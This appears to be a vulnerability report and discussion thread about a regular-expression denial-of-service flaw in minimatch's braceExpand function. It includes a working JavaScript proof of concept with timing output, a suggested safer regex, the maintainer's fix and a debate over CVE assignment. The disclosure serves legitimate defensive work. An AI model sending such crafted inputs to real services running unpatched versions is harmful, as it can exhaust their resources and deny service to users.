Inefficient Regular Expression Complexity in isaacs/minimatch
Reported on
Sep 17th 2021
Description
I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in minimatch.
It allows cause a denial of service when calling function braceExpand.
The ReDoS vulnerability is mainly due to the regex /\{.*\}/ and can be exploited with the following code.
Proof of Concept
// PoC.js
var minimatch = require("minimatch")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = 'a'+'{'.repeat(i*10000)+"b";
minimatch.braceExpand(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The Output
"attack_str.length: 10002: 112 ms"
"attack_str.length: 20002: 452 ms"
"attack_str.length: 30002: 866 ms"
"attack_str.length: 40002: 1539 ms"
"attack_str.length: 50002: 2402 ms"
"attack_str.length: 60002: 3464 ms"
Occurrences
SECURITY.md
8 months ago
I am willing to suggest that the maintainers replace the vulnerable regex /\{.*\}/ with the safe regex /\{(?:(?!\{).)*\}/.
Hey Yeting, on the advice of our CEO, kindly open a SECURITY.md PR to the repository, including the email(s) that you've found.
Please use this PR as a template.
FYI - the repository itself must explicitly provide a contact method for security issues before we can disclose vulnerability details. The PR will prove write-access and confirms email suggestions.
We're working on a system that will automate a lot of this in the future; bear with us in the meantime!
This is only a vulnerability in the braceExpand function specifically.
Applied the existing ReDOS/type protections to all public API functions. Should be good now, in v3.0.5.
My recommendation is that this is a fairly low severity vuln, given that the function it affects is not widely used.
@Yeting Li
Thank you for the suggestion. I did end up using your suggested RegExp since it seems to perform slightly better, even though limiting pattern string length appears to fix the ReDOS all on its own. Would you like credit in some way in the source or copyright? I apologize, I didn't think to ask before pushing the fix.
Hi maintainers @isaacs, I'm glad that you use my suggestion. If it is convenient, you can mention me. Thank you for your quick confirmation and repair.
Hey folks!
This doesn't appear in GitHub Advisories, Snyk, or MITRE. As a result, lots of scanning tools that OSS projects use are missing this entirely, while commercial ones (like Sonatype) have proactively picked it up.
Could the process be initiated to get this into those publicly accessible vulnerability databases?
Hello @bengl - we automatically assign CVEs to most reports on our platform that have been approved and fixed, however, we do not for Inefficient Regular Expression Complexity vulnerabilities.
But, if the maintainer is happy to proceed with a CVE, I will gladly assign and publish it, which will populate MITRE and other vulnerability databases.
@isaacs - are you happy for me to proceed with this?
@Jamie this is indicative of a larger ecosystem problem. If some commercial vulnerability scanning tools (like Sonatype) are actively grabbing your data, but it's not present in tools like npm audit, then library maintainers end up getting issues opened on their repositories for vulnerabilities they won't have any visibility into without either paying for a product like Sonatype, or spending time (which might not be plentiful for volunteer projects) to dig around the Internet and finally find that the original report is here on huntr. I had to do exactly that for a library I maintain.
Even if a vulnerability doesn't meet your standards for a CVE, actively making it visible in GitHub Advisories and/or Snyk would certainly reduce a lot of pain in this sort of situation. Alternatively, if huntr provided its own free scanning tool instead, that wouldn't be the most ideal as it would require using multiple scanning tools, but at least there would be an avenue for reducing the probability that we block our users' builds thanks to a Sonatype scan (yes, this happened to us, which is what led me here).
I think the simplest approach here would be to not exclude IREC vulnerabilities (or any other vulnerabilities marked as high-severity) from CVE process, to ensure that freely available vulnerability scanning tools/databases aren't missing data.
@Bryan - thanks for your follow on points. I want to point out that this vulnerability was considered as a fairly low severity vuln as mentioned by Isaac above. Since this vulnerability was reported to us, we have improved the controls for maintainers to adjust the severity of the report.
It is important to us that the OSS community gets visibility over the legitimate vulnerabilities reported to us, especially those with significant security impacts. We are constantly iterating on our process to ensure that the maintainer has full control and transparency over the severity and report content. This will hopefully help anyone that uses this information for their own analysis to be able to better consider the severity and impact of the vulnerabilities.
For clarity, I am going to update the reported severity to low, to ensure that anyone that does come across this recognises the impact to be minimal.